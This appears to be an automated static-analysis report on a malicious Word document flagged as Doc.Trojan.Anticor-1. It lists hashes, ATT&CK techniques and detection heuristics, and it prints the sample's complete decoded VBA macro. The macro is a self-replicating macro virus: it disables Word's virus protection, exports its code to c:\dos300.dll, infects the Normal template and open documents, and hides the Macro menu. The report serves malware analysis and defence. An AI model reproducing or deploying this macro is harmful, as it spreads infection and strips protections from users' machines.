Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f9bfeaf1ba1f26a6…

MALICIOUS

Office (OLE)

34.0 KB Created: 1999-07-20 21:43:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: e0b924665ad1370ab83be4835fb9397b SHA-1: ff75bc5b209983f45cd09c92309d79dfe683a779 SHA-256: f9bfeaf1ba1f26a6762eda66c028953881f51458a5984f3c97713cc3ff9a0d6e
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1137.001 DLL Search Order Hijacking

The sample contains a VBA macro that executes upon opening the document. This macro exports embedded content to 'c:\dos300.dll' and attempts to establish persistence by writing a value to the registry key HKEY_LOCAL_MACHINE/Software/Microsoft/Office/AntiCor. The ClamAV detection 'Doc.Trojan.Anticor-1' further supports the malicious nature of this file.

Heuristics 3

  • ClamAV: Doc.Trojan.Anticor-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Anticor-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1437 bytes
SHA-256: 8227177715da0c523955c6966554d3de38fa9c99c776b1d58a61e6aa653c5ca0
Detection
ClamAV: Doc.Trojan.Anticor-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
Set o = Options
o.VirusProtection = (Rnd * 0): o.SaveNormalPrompt = (Rnd * 0)
o.confirmconversion = (Rnd * 0)
If System.ProfileString("HKEY_LOCAL_MACHINE/Software/Microsoft/Office/", "AntiCor") <> "AntiCor" Then
GoTo SaberI
End If
SaberI:
ThisDocument.VBProject.VBComponents(1).Export ("c:\dos300.dll")
If CommandBars("Tools").Controls("Macro").Visible = True Then
Set this = ThisDocument.VBProject.VBComponents(1).CodeModule
Set x = NormalTemplate.VBProject
Set x2 = x.VBComponents(1).CodeModule
End If
Set y = ActiveDocument.VBProject
Set y2 = y.VBComponents(1).CodeModule
CommandBars("Tools").Controls("Macro").Visible = False
Set nlin = x2.CountOfLines
Set alin = y2.CountOfLines
If nlin < this.CountOfLines Then
 x2.AddFromFile ("c:\dos300.dll")
 x2.deletelines 1, 4
Else
If alin < this.CountOfLines Then
y2.AddFromFile ("c:\dos300.dll")
y2.deletelines 1, 4
End If
End If
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE/Software/Microsoft/Office/", "AntiCor") = "AntiCor"
'WM2000/WM97 - AntiCoruption by ImPU1s3
'Greetinz to membaz of EvilNet Inc.
End Sub